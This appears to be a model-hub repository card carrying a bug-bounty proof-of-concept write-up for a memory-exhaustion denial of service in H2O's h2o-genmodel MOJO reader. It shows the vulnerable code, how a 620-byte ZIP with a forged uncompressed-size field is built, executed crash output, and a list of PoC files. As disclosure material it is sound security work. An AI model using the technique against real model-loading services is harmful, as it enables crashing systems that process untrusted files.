You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

H2O MOJO (.zip) eager-allocation DoS β€” PoC

Target: ai.h2o:h2o-genmodel (h2o-3 genmodel MOJO reader, Java), tested against Maven Central release 3.46.0.11 (latest at time of testing; reader class is unchanged from the pinned commit 1676df7c).

Sink: h2o-genmodel/src/main/java/hex/genmodel/ZipfileMojoReaderBackend.java

@Override
public byte[] getBinaryFile(String filename) throws IOException {
  ZipEntry za = zf.getEntry(filename);
  if (za == null)
    throw new IOException("Binary file " + filename + " not found");
  byte[] out = new byte[(int) za.getSize()];      // <-- line 27, sink
  DataInputStream dis = new DataInputStream(zf.getInputStream(za));
  dis.readFully(out);                             // <-- line 29
  return out;
}

za.getSize() is read straight out of the ZIP Central Directory record's "uncompressed size" field. It is fully attacker-controlled and completely decoupled from the actual bytes present in the entry's (real) deflate stream. The JVM eagerly zero-fills new byte[n] β€” this is a real, immediate memory commit, not a lazily-paged allocation β€” before a single byte is read from the archive.

Reachable surface (public API, no special flags):

MojoModel.load(path)
  -> ModelMojoReader.readFrom
  -> GbmMojoReader.readModelData()            (DRF hits the same shared path)
  -> SharedTreeMojoReader.readModelData()
  -> ModelMojoReader.readblob("trees/t00_000.bin")
  -> ZipfileMojoReaderBackend.getBinaryFile()  <- SINK

This is the primary model-loading path used whenever any caller (a scoring service, h2o.mojo_predict_csv, a Java embedding of h2o-genmodel, etc.) loads an untrusted GBM/DRF MOJO archive.

PoC construction

BuildEvilMojo.java builds an otherwise well-formed, minimal MOJO zip with java.util.zip.ZipOutputStream (so all headers/CRCs/offsets/EOCD are valid), then binary-patches only the 4-byte "uncompressed size" field inside the Central Directory record for trees/t00_000.bin (offset 24 within the CEN record, per the PKZIP APPNOTE layout) to an attacker-chosen value β€” while the actual (real) compressed payload for that entry stays a handful of bytes.

  • evil_mojo.zip (620 bytes on disk): real trees/t00_000.bin payload = 5 bytes; declared (CEN) uncompressed size = 1,717,986,918 (~1.6 GB).
  • control_mojo.zip (620 bytes, negative control): identical shape/layout, but declared size == real size (5 bytes) β€” a legitimate, well-formed MOJO.

Harness.java calls the real, unmodified hex.genmodel.MojoModel.load(path) entry point and reports what happens.

Results (executed)

1. Negative control β€” well-formed same-shape MOJO loads cleanly:

$ java -Xmx512m -cp <cp> Harness control_mojo.zip
[+] SUCCESS: model loaded cleanly: algo=gbm category=Regression (86 ms)

2. Malicious MOJO, -Xmx512m β€” a 620-byte input file crashes the JVM with OutOfMemoryError at the sink line itself:

$ java -Xmx512m -cp <cp> Harness evil_mojo.zip
[+] OutOfMemoryError (expected on malicious MOJO, small heap) after 175 ms:
java.lang.OutOfMemoryError: Java heap space
    at hex.genmodel.ZipfileMojoReaderBackend.getBinaryFile(ZipfileMojoReaderBackend.java:27)
    at hex.genmodel.ModelMojoReader.readblob(ModelMojoReader.java:134)
    at hex.genmodel.algos.tree.SharedTreeMojoReader.readModelData(SharedTreeMojoReader.java:54)
    at hex.genmodel.algos.gbm.GbmMojoReader.readModelData(GbmMojoReader.java:19)
    at hex.genmodel.ModelMojoReader.readAll(ModelMojoReader.java:265)
    at hex.genmodel.ModelMojoReader.readFrom(ModelMojoReader.java:66)
    at hex.genmodel.MojoModel.load(MojoModel.java:57)
    at hex.genmodel.MojoModel.load(MojoModel.java:39)

3. Malicious MOJO, -Xmx3g β€” the eager ~1.6 GB allocation succeeds (proving it is a real commit, not merely reserved/demand-paged address space), then the real 5-byte deflate stream runs dry and readFully throws EOFException β€” but only after the memory has already been committed:

$ java -Xmx3g -cp <cp> Harness evil_mojo.zip
[+] EOFException AFTER the eager array allocation already committed (expected on malicious MOJO, large heap) after 3127 ms:
java.io.EOFException
    at java.base/java.io.DataInputStream.readFully(DataInputStream.java:202)
    at java.base/java.io.DataInputStream.readFully(DataInputStream.java:170)
    at hex.genmodel.ZipfileMojoReaderBackend.getBinaryFile(ZipfileMojoReaderBackend.java:29)
    ...
[*] Heap after alloc attempt: total=1891MB max=3072MB free=250MB

OS-level confirmation via /usr/bin/time -v on the same -Xmx3g run:

Maximum resident set size (kbytes): 1770016      # ~1.73 GB RSS, real physical/committed memory

This confirms the allocation is a genuine memory commit visible to the OS β€” a 620-byte attacker-supplied file drives ~1.6-1.7 GB of real process memory, and a heap sized below the declared (fake) size crashes the JVM immediately at the allocation site.

Why this is filable (not deduped)

  • CVE-2022-25647 (gson), CVE-2024-7765 (/3/ParseSetup), CVE-2024-8616 (MOJO export) β€” none of these cover read-time eager allocation in the genmodel MOJO reader; different component, different bug class.
  • Same accepted-class shape as prior MFV eager-alloc DoS findings (Tensorizer, Avro/fastavro, MLeap): declared size fully decoupled from real content, consumed by an eager (non-demand-paged) allocation, reachable from the library's primary/only public load entry point.
  • H2O has no untrusted-model carve-out in its security policy β€” the SECURITY.md dependency-CVE table does not scope out this class of bug β€” so it is in-scope per program norms (G6 in-scope gate).
  • H2O-3 / h2o-genmodel is a widely used library (Maven Central, millions of downloads), making this a payable, high-signal MFV finding.

Files

poc/
  BuildEvilMojo.java   # crafts evil_mojo.zip / control_mojo.zip
  Harness.java          # calls the real MojoModel.load() and reports outcome
  run_poc.sh            # one-click: fetches deps, compiles, runs all 3 scenarios
  evil_mojo.zip          # 620-byte malicious MOJO (generated)
  control_mojo.zip        # 620-byte well-formed negative control (generated)
libs/
  h2o-genmodel-3.46.0.11.jar (+ -sources.jar)
  gson-2.9.1.jar
  h2o-tree-api-0.3.17.jar
  h2o-logger-3.46.0.11.jar

Run everything from scratch with bash run_poc.sh (from the poc/ directory; network required once to fetch the jars from Maven Central).

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support